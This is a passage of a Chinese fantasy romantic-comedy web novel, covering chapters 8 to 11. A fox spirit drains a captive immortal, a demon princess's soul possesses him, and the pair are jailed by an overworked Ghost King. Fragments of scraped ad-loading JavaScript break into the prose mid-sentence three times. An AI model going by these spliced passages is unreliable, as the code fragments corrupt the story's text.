“我有话跟你说。” 扶西回过头,眼看着献流缓缓扬起来的唇角,她蹙起眉,又是这个笑容。 看得人直起鸡皮疙瘩,这人自昨夜吵过一架,似乎腰杆硬了不少,随时随地都要挑衅她。 “我不想听。”她回过头,“我有正事。” “从现在开始,你不准说话。” 献流面色一怔,想出口辩解,手忙脚乱,上下嘴唇却是再也分不开了。 “飒——” 风声忽止,天梯停止了上升,外头的景色从快速变化的亭台楼阁变作了俯瞰之下的冥界群山,云雾飘渺,若隐若现。 扶西深吸一口气,缓缓踏出了天梯。 “小西西——” “你怎么才来啊——” 妩媚的女声乍然响起,下一瞬,扶西便被揉进了一个柔软香甜的怀抱里。 8. 水桶 九尾殷红的指甲翻飞,鼻翼扇动,妩媚妖娆的脸庞隐隐有化为狐狸的趋势,过了一会儿,她龇牙咧嘴地放开扶西,弹了弹她的脑门。 “你最近是不是没好好修炼,怎么什么都吸不到?”九尾不满地拢起滑下肩头的外裳,言罢就要撤回屋内,天梯的门也在同一时间打开,一阵风将两人吹了回去。 扶西赶紧拍打着缠绕天梯的藤蔓:“九尾姐姐别急啊,这里还有一个人呢!你先看看啊!” 九尾慵懒地掀起眼皮,上头亮晶晶的珠粉映着日光。 下一瞬,两人又从天梯里被抖了出来,摔了个狗啃泥。 扶西立时翻爬起来,凑到九尾旁边:“姐姐你看看他行不行,我这次来有要事相求。”她换上个讨好的笑容。 九尾垂眸看她,眼尾扫过扶西那双水漉漉的大眼睛,刷地飞扑到献流身边,不住地嗅着。 她嗅一下迟疑一下,半晌眼睛才亮起来:“好纯粹的仙气,小西西,你从哪里弄来的?”九尾捂嘴笑着,“你不早说,先给我吸上个十口八口,再给你帮忙。” 扶西微微笑着,连忙点头:“那是自然,这就是用来孝敬姐姐你的呀!” 献流急得手忙脚乱,偏不能开口说话,他下意识地挪动脚步想要远离九尾身上浓郁的香气,耳边却传来扶西的声音。 “别动。” 双脚仿佛灌了铅,动不了了。 献流脸上的情绪从疑惑震惊到挣扎放弃不过片刻,好在这狐狸没做什么过分的举动,只嗅了几下便撤回了身子。 九尾暂时满意了,她笑得开怀,上前亲昵地搂住扶西的臂膀,将人往屋里带:“这次又想让我帮什么忙呀?” 献流立在门口动弹不得,眼看着房门在二人进入后紧紧合拢。 他心头涌起一片莫名的焦躁和心急。 扶西拿出放着安阳老头一滴血的琉璃瓶子:“九尾姐姐,你还记不记得红生?” 九尾在长桌前落座,熟稔地拿起旁边的烟杆往唇边送,她一口烟雾喷在扶西脸上,眼睛笑眯眯的:“记得呀,生得还不错,只是身上的仙气不如你纯粹。” 她眼睛里满是狡黠:“快说说你最近怎么了,不好好修炼,干什么去了。” 扶西尽量屏着气,把安阳老头的血从琉璃瓶子里引出来,托到指尖上:“红生失踪了,这是他父亲的血,你看看,能不能找找他的下落。” 九尾站了起来,背后狐狸首的浮雕在昏黄的烛火中跳跃。 “小事。”她笑眯眯地应下,转而抬手将血滴引入室内一面刻满梵文和山峦的舆图。 片刻后,墙壁上红光大作,九尾在墙前端详了会儿:“他在人间。”她用烟杠底部戳了戳一处泛着红光的地方,“临近西海,加罗国。” 扶西凑上去:“红生怎么会跑到这种地方去?” 九尾不知道什么时候已经回到了长桌前:“谁知道呢?”她深吸一口,“就问完了?” 扶西收起眼底的疑虑,往九尾旁边凑近了点:“确实还有!” “不够了,今日这点仙气,只能问这一件事。”九尾抬手,房门大敞,便有一股从外头吹进来的风一把抓住了扶西的腰。 扶西眼疾手快地扒住长桌边缘,仰视着九尾的眼睛:“姐姐早说啊!不够吸你可以慢慢吸,吸个够!吸个天荒地老!留他一条命就行了。” 九尾似乎是得到了满意的答案,扶西腰上的力量消失殆尽,砰的一下掉到了地上。 “问吧。”九尾跳出来,“问快些,我还要去享用美味呢。” 扶西清了清嗓子:“若神仙的真身被别人吃了,该怎么取出来?” 九尾愣了愣,若有所思地贴过来,绕着扶西走了三圈:“你的真身被吃了?” 扶西大骇,连忙摆手:“姐姐你误会了,没有的事!” 九尾懒得拆穿她,用两个指头挑起扶西的脸庞左右打量了一番,柔嫩的嘴唇微微一动。 扶西颇有些期待地望着她,都道冥界万机天下之事无有不知,若得方法,她就有救了。 “没听说过,不知道。”九尾丢下几个冷冰冰的字,刷的一下就冲出了房门,化作一阵风卷走了乖乖立在门口的献流。 “等我去找找,找到了告诉你。”话未完,她人已经不见了。 扶西反应过来,立时追出去:“九尾姐姐你悠着点,别给他吸死了!” 天空中传来九尾快消散的尾音:“知道了——” 扶西回头,房门已经紧闭,她咬咬牙上前,木头雕成的房门却重似千钧,她有些不服气使劲踢了一脚。 下一瞬,便有密密麻麻的长剑从四面八方涌来,铮鸣声不绝于耳,最后停在距她身体不过一寸的地方。 扶西敢信,她踹两脚,这些剑能把她扎成筛子。 “我,我是无意的。” 她一动不敢动,过了片刻,这些剑终于刷的又飞了回去。 扶西松了口气,垂头丧气地走进了天梯中。 * 万机之外,是冥界市集,三界交汇之处,鱼龙混杂,东西也是琳琅满目。 冥界怨气极重,只有鬼才能吸收炼化,可除了那些恶鬼邪祟,有执念的鬼,人家普通的鬼一来就匆匆投胎去了,由是冥界生活的也以一些化形的精怪居多,他们不能炼化怨气,靠各式的买卖同别人交换仙气魔气,供自己修炼。 扶西现在仙气不足,连渡河都被摆渡人嫌弃,更别提在这集市里找个合适的落脚地了。 罢了,她从来都是哪里都能睡。 绕着集市走了一大圈,扶西最后将目标锁定在集市口的大榕树上,枝叶繁茂,便于遮掩身形,遮风挡雨。 她找了个合适的枝丫,飞身躺了上去。 睡得正迷糊,耳边却传来整齐划一的脚步声,还伴随着阵阵的金戈声。 还有模糊的人声:“这点小事的办不好!魔君……” 扶西向来是个喜欢热闹的主,听到这里,她立刻清醒过来,以极其轻巧的动作扒开了挡在面前的树叶。 这下终于看清了,树下列着一堆人,看着是冥界的鬼兵,打头那人甲胄样式比其他人更繁复精致,应当是长官,生得也更清秀齐整一些。 “不清楚啊,右护法分明早已入了轮回,这会儿魂魄又在忘川河出现,刚喝完孟婆汤就不见了,孟婆都吓坏了。” “这会儿已经发动了整个营的弟兄,满冥界地找呢。” 打头那人满头满脸的官司:“动作快,务必在今夜之前将她投进轮回,耽误了历劫大事,我们吃不了兜着走!” 几人在命令过后散开,打头那人却忽然若有所思地偏过头来,目光锁定在扶西所在的树杈上。 扶西呼吸滞了滞,不动声色地放开了扶着树叶的手指,她只想看看热闹,千万别被误会啊。 她侧耳,听着沙沙的脚步声渐渐远去,悬着的心终于放了下来。 这下还睡什么觉,想必以忘川为中心,处处布兵,灯火不绝,在找到那右护法的魂魄前,她别想休息。 想到这里,扶西也没了睡觉的心思,话说红生怎么会跑到那么远的地方,东海西海隔了十万八千里,他怕不是被谁忽悠了跟人家私奔吧。 一个听都没听过的小国。 扶西翻了个身,她该以一个什么样的身份去人间呢。从前她只是去玩玩,有时装作富商,有时化作屠户,男女老少,随心所欲。 算了算了,想这么多不如随机应变,这次还带了个人。 对了,还有个人! 扶西猛地从树杈上坐起来,差点把那个小贼忘了,天都黑了,九尾还没吸够吗? 扶西一只脚伸出去,思索半晌又缩了回来。反正九尾说不会把他吸死,她担心什么。 只要他没死,真身就没问题。 就算他死了,真身应该也不会有什么问题。 如果他真死了,不是正中我下怀? 扶西十分认同自己的想法,重新躺了回去。 片刻之后,她从树上跳了下去。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 避开众多巡逻的鬼兵时,扶西真想一把掐死自己,她真是个操心的命,那小贼被吸死了又怎样? 立在万机门口,她安慰自己,算了,来都来了。 极速上升的天梯,同白日里别无二致的景色,只是蒙了层灰扑扑的纱。 九尾门口,她清了清嗓子,试探着问道:“九尾姐姐,您享用得怎么样了?” 片刻以后,一具人影从空中被扔了下来,伴随着九尾慵懒的嗓音。 “还以为你不来了?今天算我吃得饱,送你俩间上房住住。”言罢,天上掉下来一块令牌,“想来就是他吃了你真身吧,我给他吸得贼干,给你出出气哈!” 扶西抬手接住令牌,这可是万机上房,她从来舍不得住,看来九尾这回特别满足:“多谢姐姐!” 将令牌别回腰间,扶西才来得及去看地上的人影。 只见献流身躯缩小了一大圈,面颊凹陷,眼底漆黑,活像干尸,风一吹就能碎成渣渣。 扶西先被吓得往后跳了半截,这才试探着上来踹了踹地上人的腿。 “咔呲——” 好像骨折了…… 想到你会吸得干,没想到这么干啊!万年老树都没这么干巴! 扶西连忙扛起献流,马不停蹄地跑进天梯,跳进客房,吩咐小二将浴桶打满水。 客房极其宽敞,扶西轻手轻脚地将献流的身体靠在榻边,仔细端详了会儿,不住啧啧称奇。 干,太干了。 小二每进来一回,就要被门口献流的“干尸”吓一大跳,洒掉半桶的水。 紧赶慢赶,浴桶的水终于满了,扶西拎起献流的干尸,插进水里。 清澈的水打着转涌进献流的身体里,不一会儿,大半桶的水都没了,献流的脸颊也逐渐变得饱满红润起来。 扶西眼看着他头顶那株晃晃悠悠的草芽蹒跚着伸展开叶片,忽然觉得此前小贼种种不合情理的行为或许跟这小芽有关。 献流满脸水珠,唇色愈艳,他费力地睁开眼睛,望着面前扶西不断放大的面庞。 “啪——” 扶西看着自己被抓住的手腕,笑了笑:“先放开,等我摸摸看。” 献流不动,反而抓得更紧了。 扶西诧异,试探着开口:“转个圈?” 一动不动。 “跳个舞?” 还是一动不动。 扶西转过头,刚好跟献流对视。 他眼眸半睁,长睫上坠着水珠,眸色比水光还要湿润,正好有颗水珠从他鼻梁落下,顺着嘴唇的弧度滚过下巴,最后坠到扶西的手背上。 凉。 扶西没来由地有点慌神,想把手抽回来,献流却攥得更紧:“来的路上,我想跟你道歉。” 扶西点点头:“道道道,你尽管道,但是先把我放开行不行?” 献流却抓得更紧了:“你不认真。”他蹙起眉,似乎不满。 扶西嘿嘿一笑:“哪有?”她扶正脑袋,在浴桶边半蹲下来直起腰杆,“看我,多认真。” “你接受了?” “受受受!”她观察着献流的另一只手和一双腿,这人不会是想趁机把她按进水里呛死吧? 献流有些疑惑地看着她,过了会儿终于松开了手。 扶西舒了口气,立时站起来,没想到献流随着她动作仰起了头,定定地看着她:“我说话是有些重,你别放心上。” 扶西嘿嘿一笑:“没关系,你想变成人干就尽管说。” 献流感受着涌入身体的水流,舒服地喟叹一声,才缓缓应道:“嗯,但是……” 扶西没来由地觉得有些气竭,身体仿佛有些脱力,她咳嗽了两声,抬着手给自己顺气。 想到这里,她抬起指尖,虽说修为受了不少影响,但给自己通通气,疗愈一下应该不成问题。 半晌,她看着空无一物的指尖,耳边响起献流的声音。 “她虽然吸的是我,可吸走的仙气,好像是你的……” 9. 我是势利眼 扶西紧紧阖上双眸,有些自嘲地笑了两声,一张脸都快拉到地上了。 她真想对着窗外那轮皎皎明月,大喊一声苍天呐,我这是造了什么孽,一定是上辈子欠这个狗贼的,这辈子快被他坑死了! 思来想去,扶西朝浴桶踹了一脚。 献流却挪了挪身子,将双臂放在浴桶边抬眼看她:“我错了。” 扶西:“?” “我再也不会跟你吵架了。” “师父曾教诲,恶语伤人六月寒,我当铭记于心。”他眨了眨眼睛,眉梢染上愧疚之色。 扶西挑挑眉:“算你有觉悟,不过我们这不叫吵架。” “那是什么?” 扶西嘿嘿一笑:“这是你单纯的顶撞,如今我尊你卑,下属面对上司时应当谨言慎行,处处维护。” “念你是初犯,我就大人有大量,放过你了。” 献流不再应声,反而垂着头思索起来,半晌才抬起头,目光竟透露出几分坚定:“嗯,我明白了。” 扶西凑过去半截:“你早这么懂事,我们的事还会这么难办吗?”她把早些时候从九尾那里打探来的消息一骨碌全说了,“明日就启程,等进入人间,我就扮做一个云游四方的得道高人,同时勉为其难当一下你的师父吧。” 献流却蹙眉:“我不想听这些。” “那你要听什么?” 献流却将身子挪了回去,靠在浴桶边缘,满面愁容:“我想回天界。” 扶西实在受不了他的狂妄自大,只觉得这人是从天上掉下来砸坏脑子了。 还回天界? 信他回天界,还不如信九尾呢。 扶西眼珠子一转:“你总说自己是所谓的战神,你有什么证据自证?这周围有没有人见过你,给你作证?” 扶西摊了摊手:“你要是真拿出来,我给你供起来,包你吃穿不愁,给你完璧归天。” 献流听完原本惆怅的神色更耷拉了:“我没有。” 扶西冷哼一声,干脆利落地起身,临走还不忘踹一脚浴桶:“你就装吧。” 她不过往前走了三四步,腰间却忽然被紧紧勒住,还不等惊呼出声,又回到了浴桶旁边。 低头一看,原来是一条嫩绿的藤蔓,来源正是献流的头顶。这会儿似乎是吸饱了水,生机勃勃。 献流嘴角弯起一个弧度:“水吸完了,还能再来一些么?” 扶西看着他那冷嗖嗖的笑,起了一身的鸡皮疙瘩,朝外头喊到:“小二,再提几桶水上来。” 吩咐完外头,扶西忍不住道:“谁教你这么笑的?” 献流怔了怔:“我,一直都这么笑……” 扶西摆摆手:“太难看了,以后别这么笑。”冷嗖嗖的,瘆得慌。 献流扯平嘴角,把自己往浴桶缩了缩。 很难看? 可她今早明明说这样的笑很好,还让自己都这样笑,这才过了几个时辰,怎么就变了…… 要是有一面铜镜就好了。 扶西此时在桶边绕了几步,来到献流背后,望着他头顶已长成藤蔓的草芽。 “你闭上眼睛,别动。” 献流有些奇怪,却还是莫名顺从着照做了。 扶西搓了搓手,一把拽住藤蔓,用力往后拽去,想来这藤蔓就是从这小贼心口里长起,到头顶冒出,根源就是自己的真身。 她现在修为几乎等于没有,天眼也开不了,不如直接拽出来试试,万一能行呢? “你,你在做什么?” “我在给你按头皮呢。” “哦,多谢,只是……” 扶西只觉得拽不动,抬起一只脚抵住浴桶,拉得更卖力了。 “头皮好紧……” “那是,那是你缺水太久了。”还是拽不动,扶西想了想转了个身将藤蔓压在肩头,整个人往前挪动。 “是吗?可我现在觉得浴桶在动。” 无果,扶西想了想放开双手手。 献流轻叹一声:“现在好多了,多谢你。” 他内心的愧疚更多了,今晨他这样同扶西争吵,她居然还不计前嫌地替他按头,献流内心涌起一股暖意,作势就要起身。 “我也帮你按按吧。” 献流已从水里站了起来,湿透的衣裳贴着皮肉,窗外冷风一过,他抖了抖。 扶西后退两步,不由地蹙起眉头,这人是不是有毛病啊? 怎么跟个傻子一样。 献流蹙着眉头,打量着自己身上的衣裳,低头思索了半晌,一双手已经开始解自己的衣带。 扶西还摆着手敷衍他:“不必不必,我这样关爱下属的上司可不多见了,你得好好珍惜,且多向我学习啊。” 下一刻,他已经将上衣剥了个精光,一双手正在裤带上摸索。 扶西吓了一大跳,立刻眼疾手快地按住他的手,拔高了声音:“你在干什么!” 献流正色道:“湿衣裳黏在身上,不舒服。” “不舒服你就要脱掉?” “可是不脱掉的话不舒服。” “你这是耍流氓!不要脸!” “我没有。” “你有!” “是你先耍流氓。”他说完,又直愣愣地看着扶西。 “你胡说八道。” “在安阳山。” 扶西听完,脑海里飞速过着这段时间的记忆,最后沉默了会儿,还是决定装傻。她快速用力一把将他按进水里,用恶狠狠的神色警告:“你再脱,我就把你连人带桶从这里扔下去。” 献流总算安分下来。 扶西深深地叹了口气,这回她真是摊上事了,大事,破事儿! 外头乍然响起甲胄相击之声,扶西想了想,走上前去关窗户。 不想兜头就有一股极快极强的风猛然吹了进来,擦着扶西的肩膀直直往献流身上冲去。 什么东西? “砰——” 水花四溅,仰靠在浴桶边缘的献流忽然沉入了水中。 扶西只好又折回来撸起袖子,把已经没入水中的人捞起来。 她抬手拍了拍献流的脸颊:“哎,醒醒!” 莫名其妙,一阵风都能给他吹晕,真是具娇贵的身体。 其实这个时候,扶西已有了不好的预感,今夜冥界众鬼兵正在找寻卫和的魂魄,方才那阵风,不会是…… “啊啊啊啊啊啊啊——” 尖叫声响起,扶西被溅了满头满脸的水。 “臭流氓!怎么能不穿衣服呢!” “快快快,给我拿件衣裳来啊,愣着干什么!动作快点!” 扶西一张脸逐渐扭 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 曲起来,眼看着献流一具充满阳刚之气的身体在浴桶里蹦蹦跳跳,发出的声音还是个年轻的女声,她就忍不住笑。 “你笑什么!本公主很好笑吗?”献流跨出浴桶,双手叉腰,偏着头,一张小嘴都快撅上天了。 扶西用力抿着唇,点了点头。 “嗯?” 她赶忙又摇了摇头,递过去方才献流脱下来的上衣,还滴着水。 “献流”一脸嫌弃,用两根手指拈起来,五官都快皱在一起了:“你怎么能给我穿这种衣裳!” 扶西站得笔直:“这位公主,你附身的这人,只有这件衣服。” “那你们……” 不等她说完,便有鬼兵一脚踹开了房门,声如洪钟:“把她们拿下!” 扶西开口辩解:“我是好仙,大大的好仙呐!” “废话少说,居然敢引右护法的魂魄入体,到了鬼王那里再自行辩解吧!” 他斥责完扶西,转而朝着献流一拜:“护法,您出来吧,吉时快到了,速速入轮回,莫耽误了历劫才是。” 献流冷哼一声:“什么护法,大人你莫不是认错了?” 扶西一脸惊奇地望过去,这会儿的声音又变得雄浑有力了?要不是刚刚那娇滴滴的公主二字还在脑海里回响,她都快怀疑自己方才是做梦了。 鬼兵打量着献流,绕着他走了两圈:“护法别装了,没有男子会像您这样时刻把双手交叠在腹前的。” 献流:…… * “怎么办呀?”“献流”在牢门前踱步,“我不想去投胎,可我又想不起自己原本是谁。” 扶西蹲在墙角,嘴角都懒得用力:“你是魔界右护法,魔君小妹,卫和。” 她拍了拍手:“我这么厉害吗?” 扶西歪了歪头:“你不知道自己是谁?” “献流”摇了摇头:“我依稀记得弥留之际,众人喊我公主。” “既然我这么厉害,还去经历生老病死做什么?”献流提着衣角跑过来,凑到扶西旁边,“你有没有办法联系到那个什么魔君,叫他把我领回去吧,这些人要抓我投进轮回。”说到这里,她压低了眉毛,眸光晦暗。 扶西拍了拍她的肩膀:“你入轮回定有道理,我在冥界集市上闲逛时听他们讲了,你是要历劫的。” 扶西把她拉过来,仔细开导:“不论仙魔,命中都有劫数,只有入了轮回才能渡劫,若是成功则修为大涨,要是失败了可是会灰飞烟灭的!” “献流”身躯明显抖了抖:“这么严重……” “所以啊,你别跑了,快跟他们去吧。” “献流”垂着头默不作声,扶西以为她被吓到了,于是打算抬手拍拍他的肩头以示安慰。 不料她立刻蹦开三尺远:“你不会跟他们是一伙的吧?谁知道他们拉了我去是真入轮回还是拿去炼丹。” 扶西还想出言再劝,却有人来解结界了,她立时迎上去:“大人,误会都解开了?” 那鬼兵头也不抬,三下五除二将扶西踹了出去,而后恭恭敬敬地将“献流”请了出去。 “护法,鬼王在等着您呢。” 扶西从地上爬起来,咬牙切齿,不公平! “为什么这么对我?” 鬼兵朝着她笑了笑:“不好意思啊,我是势利眼。” 10. 入轮回 虽是深夜,鬼王殿中灯火通明,首座之上的人伏在案前,处理着堆积如山的公文,时不时抬起手边的茶水抿两口,并着几声叹气,他缓缓抬起头来。 面容姣好,只可惜没什么血色,苍白的唇,青黑的眼,华服也挡不住的疲惫。 “兄长。”来人是鬼王亲弟,阳潢,“右护法的魂魄已找到,可她附在人家身上不肯下来,如何是好?” 鬼王阳迄扶额,看着下首和自己别无二致的面庞:“你先带上来,我劝劝。”他一面说,还不忘记继续在公文上批注,毛笔都快起火了。 他望着面前每天都这么高的公文,忍不住想,这些公文是不是趁他睡觉偷偷生了,不然怎么每天批了那么多,第二天起来还有那么多! 献流被恭恭敬敬地请进殿中,他却蹙着长眉,双手抱胸,一面走一面嫌弃地扒开想上来搀扶自己的鬼兵:“我自己会走!” 旁边的人点头哈腰,满脸堆笑。 扶西则是被捆进来的,缚仙索将她勒了个严严实实,双手动弹不得,脚步稍微慢了点就要被旁边的鬼兵训斥。 “走快点,磨蹭什么!” 扶西咬咬牙,真恨不得那卫和来附自己的身。 “献流”来到殿前,虽处下位,可他昂着头,一副十分不屈的模样:“既然说我是魔界右护法,那我不入轮回,不做凡人了,你叫我兄长把我接回去。” 阳迄终于舍得从宝座上起身,缓步踱到献流面前,细细地打量着他,就是不发一言,只一味地叹气。 “献流”被他看得发毛,忍不住抬手点了点他的肩膀:“你什么意思?说话啊。” 阳迄这才幽幽开口:“护法,你这让我们冥界难做啊,前些日子,是你同令兄来此,说完自愿入人世历劫的。” 言罢他手心金光闪过,落下一卷崭新的卷轴。 “献流”将信将疑地接过来,仔细看着看着上头的各种条款和字迹,目光最后落在末尾的签字画押上。 “这,这真是我写的么?”她蹙着眉,按理说自己应该不是那种能吃苦的人,怎么放着好好的魔界右护法不当,偏要去凡间经历生老病死,是活得太无聊了么? 鬼王阳迄凑过来,压低了声音:“按理说,魔族与仙族历劫,都是经本族相应的长老测算,从历劫台上坠入人间。你们从冥界走,是不合规的!” “献流”闻言睁大眼睛,一把将卷轴拍到他胸前:“那你们还敢给我办?焉知不是诓我……” 扶西打着哈欠,百无聊赖地弯下腰杆,一夜未睡,她是真心累了,沉重的眼皮时不时压下来,早就赛过了听八卦的精神头。 “是您和魔君以武力相逼,否则,我们也不敢。” 卫和仔细回忆着,自己似乎还真是这种狗仗人势的人。 “要是被发现了就惨了,您如今历劫不曾圆满,以魂魄之身游荡,别说回到魔界,出了冥界就散了!”阳迄语重心长,“快出来吧,过了今夜,再起死回生就吓人了。” 卫和还在犹豫,她搓着衣角,思索了半晌,终于把自己从献流的身体里剥离出来。 几近透明的魂魄形态,依稀可见女子倾城的样貌,她刚想开口说话,却有个大网兜头拢下。 “快快快!把她抓了速速丢进轮回井中,再晚一刻就来不及了!”阳潢高声吩咐起来。 与此同时,他张开手掌放出一个缚仙索,也将献流从上到下捆了起来。 卫和惊觉自己被骗,裹着缚魂网在殿中横冲直撞起来,打翻了两侧的灯台,又冲上屋顶狠狠撞向悬挂的烛台,最后一把扫过宝座前的长案,公文哗啦啦散了一地。 “抓住她!” “这边!” “那里!” 鬼王殿乱作一团,扶西终于清醒过来,她蹦跳着上前,在献流面前,大声呼喊:“醒醒,快醒醒!” 言罢只能用受限的脚踢了踢献流。 他终于缓缓睁开眼睛。 “快快快,给我松绑。” 献流立时艰难地蠕动着起身,背过身去用还能活动的手指习惯性地去解绳索的结,半晌才反应过来这是缚仙索,非法术不可解。 他又转回来,四目相对,寂静无声。 扶西恨铁不成钢地哼了一声:“不管了,先跑吧,等会儿他们解决了卫和,就该想起我们了。” 献流却有些不解:“为何?我二人不是无辜的吗?” “无辜?”扶西一面不动声色地跳跃着后退,一面咂舌,“这里面,哪个不是地位尊崇,要是卫和真出了事,他们少不得要跟魔君交代,可是拿什么跟他交代呢?” 献流和她一齐向后蠕动退去,时不时避开冲上来拦卫和的鬼兵:“不知。” “你还真是不食人间烟火。”扶西眉头都快绞起来了,“当然是我们这些无名小卒了,随便编造一个罪名套头上,我们无依无靠的,还不是只能束手就擒。” 献流听完,一双眼睛里涌动着不知什么情绪,久久未言。 两人终于挪到了宫殿门口,扶西松了口气:“怎么,你被吓到了?”她又奋力往后蹦跶了点,“也别太紧张,只是可能而已。” “抓到了!”有兴奋的人声响起。 “速速押下去,务必在今夜之前投入轮回。” “是!” 遭了,扶西脑海中警铃大作,一偏头,正好和鬼王阳迄的目光对上。 扶西见他不解地偏了偏头,而后声音洪亮:“你们两个,还在殿门口赖着做什么,还不快滚进来!” * “兄长,不如将这两人暂且押下,看看卫和如何,若是无恙最好,若有差错……” 他没再继续说,可所有人的心知肚明。 魔界右护法卫和只是随便找了个身体用了下,她们就成了这百分百的倒霉蛋。 天道不公!她要…… 扶西立刻伏倒在地:“鬼王殿下,冤枉啊!我二人只是在万机客房泡澡,是护法她老人家自己闯进来的。” 阳迄揉了揉眉心,望着面前乱糟糟的公文,他翻开一两本,十分烦躁地扔回去,全都混在一处了。 真是累不死他,为何冥界有那么多事? “殿下累了,你少说点话,还能过得舒坦一些。” 扶西还想开口,却被阳潢的眼神警告,她只得悻悻地闭上了嘴。 谁料旁边的献流却开口了。 “公务小事,为何要这样劳累自己?” 阳迄站起来,忍不住笑出声:“小事?” 献流点点头。 扶西望着他头顶那株招摇的草芽,真恨不得飞扑上去捂住他的嘴,可偏偏自己手脚都被捆着,有心无力。 “你这小仙,口气挺大。” “若是我来做,只消一日。”他在内心盘算了一下,从前在天界,这些东西做起来得心应手,向来花不了他多少时间。 “哈哈哈哈哈哈——”阳迄 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 忍不住大笑出声,“竖子无知。” “你现在疲累,是因为整套公务没有相应的流程,分工不明确,人员混杂,这些问题很常见,不难解决。”他语气稀松平常,跟吃饭一样。 阳迄嘲笑的面色出现了一丝裂缝,他踱步下阶,来到献流面前仔细打量他:“那你说,我该怎么办?” 献流却道:“我累了,我想休息。” 扶西闭上眼睛,心道献流真有一手,争取出时间,就有机会出逃了。 不想那鬼王却大笔一挥,把两个人丢进了恶鬼牢中,结界九九八十一层。 扶西:…… * 献流是先于扶西醒来的,他头炸裂般疼痛,将昨夜种种梳理了半晌,一张脸红了又紫,紫了又白。 他,他怎么能,怎么能在人前脱衣呢…… 他昨夜究竟是如何毫无心理负担地说出那些话的? 他捂着脸庞,长长地叹了一口气,恨不得钻进墙角里去,不行,他必须跟扶西谈一谈。 一转头,扶西蜷在角落,睡得正熟。 献流走到她旁边,低头看着。 扶西一袭绿衣染了不少灰尘,缚仙索浮现着淡淡的金光,映着扶西红扑扑的脸蛋,她启唇,咕哝了两声。 “十一,十一……” “小侯,你做的饭真香……” 还咂了两下嘴巴,似乎真吃到了美味,扶西舔了舔嘴唇,留下一片水光。 “砰砰砰——” 九九八十一层结界依次开启,巨大的动静吵得扶西立时睁开了眼睛,她一骨碌挺起来,有些惊诧地找寻献流的身影,却见他倒在地上,正慢腾腾地坐起来。 “完了完了,昨夜睡得太死了,都没想着怎么逃出去。”她抿了抿唇,“你快起来啊。” 不过这结界九九八十一层,她也没本事出去。 献流一个鲤鱼打挺就立了起来,他望着扶西,动了动自己的嘴唇。 不知为何,他又不能开口说话了。 扶西不明所以地望着:“怎么了?你倒是有心思,还不如想想等会儿鬼王会怎么弄死我们。” 她笑得勉强:“真是一点也想不出来呢……” 献流碰了碰她,啊啊啊几声。 扶西惊奇不已,立时道:“好生奇怪,你昨夜不是能讲话了吗?今晨又不行了?” 献流重重点头。 “简单,你说吧。” 献流终于发出声音来:“等会儿我想好好跟你谈谈。” 扶西摆手:“随便谈吧,反正离鬼王拿我两个泄气隔不了多久了,我俩不如互相说两句遗言?” “砰——” 最后一道结界被打开,来人是阳潢,他抬手施法解掉了两人的身上的缚仙索,引着他们往外走。 “殿下问你,昨夜的话还算不算数。” 献流点点头,正色道:“算数。” “好!”他语气兴奋,“你若能在一日之内做完那些公务,便放你们离开冥界。” 献流想了想,应了声:“好,一言既出,驷马难追,望殿下信守承诺,放我们离开。” “那是自然。”说话间,已到了昨夜的鬼王殿,的偏殿。 阳潢微笑着指使着门两旁的鬼兵拉开房门。 目光所及之处,全是密密麻麻的奏疏,还有一两本码不住,落到了房外。 扶西只觉得一股气上不来,两眼一黑,撅了过去。 11. 好累,给我靠一下 “接着奏乐!接着舞!” 阳迄同阳潢豪放对饮,开怀大笑。 阳潢将献流的任务发下去,眼看着他旁边那个绿衫姑娘倒地不起,这才憋着笑撤回来。 “本王也好久不曾休息了,趁着今日这个赌局,我也好好歇一歇。” “兄长,你是没看到那男人的脸色,简直比冥界最黑的炭还黑。”阳潢微笑着颔首,叫来手下吩咐,“这期间他若有求见,一概不理,这里也不要放他进来。” “得令!” 两人又重重碰杯,欢声笑语之间,席间舞曲换了一首又一首,舞女们风姿绰约,一颦一笑皆是世间美景。 阳迄望得出了神,抬手指了指下首一个正拈着兰花指的舞女。 “你叫什么名字?”他喝得有些晕乎乎的,砰的一声将酒盅砸在案上,“跳得好!” 那舞女咧嘴一笑,似乎料到了自己会被点出来,于是乎停下手中的动作,弓着腰上前盈盈一拜:“多谢殿下夸赞。” “嗯,以后更要勤加练习。”阳迄十分赞赏地拍了拍她的肩头,“来人,重重有赏!”他思索着,“对了,将那柄雕刻着鬼王殿的玉如意拿上来。” 那舞女立时在他面前跪下:“小女多谢殿下赏赐。”她接过侍女递来的玉如意,“小女还有一事,是扶西大人特地嘱咐我来告知殿下的。” “什么大人?”阳迄以为自己听错了,他冥界何时有这么个大人。 那舞女依旧低头笑着:“就是帮助殿下重拟冥界上下管理机构,您重金从天界请来的那位扶西大人啊。”她咧嘴笑着,“一直都知道殿下您心系百姓,日夜操劳,我们也心疼您夜夜辛苦,就连冥界集市地砖碎了一块这样的小事您都亲临解决,一个人哪里经得住这样操劳,在我们眼中,您是比肩天君的存在,万万要保重自己的身体啊。” 她依旧说着,没发现阳迄逐渐涨红的脸:“殿下,这下有了扶西大人帮忙,你以后便不用再这样劳累了。”言罢她重重一拜,吓得阳迄立时起身将她扶起来。 虽说对她一部分的胡说八道有些不满,可剩下的部分他还是十分受用的。想到这里,他又为今日的赏舞听曲开始羞愧。 “我今日,今日只是随便听听看看,时间不久的,务必放心。” 舞女摆手:“不敢不敢,扶西大人也说了,殿下日夜操劳,今日好不容易休息一番,她也不好来打扰,便托我向殿下您多借些人手。” 阳迄哈哈一笑,净显爽朗之气:“害,如此小事,何必来问,鬼王殿的人手,你让她尽管调配就是。” 舞女又跪下:“多谢殿下,有了殿下这句话,扶西大人更能放手去做了。” 言罢舞女起身,朝着阳迄重重一拜:“殿下今日难得有空,一定要好生休息。”她语气真挚,饱含关怀,并非假意。 阳迄哎了一声,目送着她同舞队一齐离开,最后忍不住抬手挠了挠额头,还是觉得哪里不对。 “你刚刚为何不拦着我?”阳迄坐回垫上,喝了两杯酒,方有些如梦初醒的意味。 